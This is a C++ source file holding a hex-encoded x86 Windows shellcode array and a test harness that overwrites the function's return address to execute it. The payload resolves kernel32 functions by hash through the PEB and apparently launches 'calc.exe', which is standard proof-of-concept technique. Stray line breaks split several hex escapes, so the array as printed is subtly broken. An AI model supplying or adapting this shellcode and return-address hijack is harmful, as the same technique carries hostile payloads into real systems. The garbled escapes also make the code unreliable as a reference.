// calcshell.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
//#include <stdio.h>
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x83\xec\x34\x8b\xf4\xe8\
x96\x00"
"\x00\x00\x89\x06\xff\x36\x68\x8e\x4e\x0e\xec\xe8\xa1\x00\
x00\x00"
"\x89\x46\x08\xff\x36\x68\xad\xd9\x05\xce\xe8\x92\x00\x00\
x00\x89"
"\x46\x0c\xff\x36\x68\x72\xfe\xb3\x16\xe8\x83\x00\x00\x00\
x89\x46"
"\x10\xff\x36\x68\x7e\xd8\xe2\x73\xe8\x74\x00\x00\x00\x89\
x46\x14"
"\x33\xff\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\x66\
x30\x83"
"\xec\x54\x8d\x3c\x24\x33\xc0\x33\xc9\x83\xc1\x15\xab\xe2\
xfd\xc6"
"\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x44\x24\x48\x89\x44\
x24\x4c"
"\x89\x44\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x6a\
x01\x51"
"\x51\xff\x76\x30\x51\xff\x56\x10\x8b\xcc\x6a\xff\xff\x31\
xff\x56"
"\x0c\x8b\xc8\x6a\x00\xff\x56\x14\x55\x56\x64\xa1\x30\x00\
x00\x00"
"\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x8b\xc5\x5e\x5d\
xc2\x04"
"\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\
x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x32\x49\x8b\
x34\x8b"
"\x03\xf5\x33\xff\xfc\x33\xc0\xac\x3a\xc4\x74\x07\xc1\xcf\
x0d\x03"
"\xf8\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24\x03\xdd\
x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xeb\x02\
x33\xc0"
"\x8b\xd5\x5f\x5e\x5d\x5b\xc2\x04\x00";
int _tmain(int argc, _TCHAR* argv[])
{
unsigned int *ret_addr;
ret_addr = (unsigned int*)((unsigned int)&ret_addr + 8);
printf("Shellcode Legth is : %d\n", sizeof(shellcode));
*ret_addr = (unsigned int)shellcode;
return 0;
}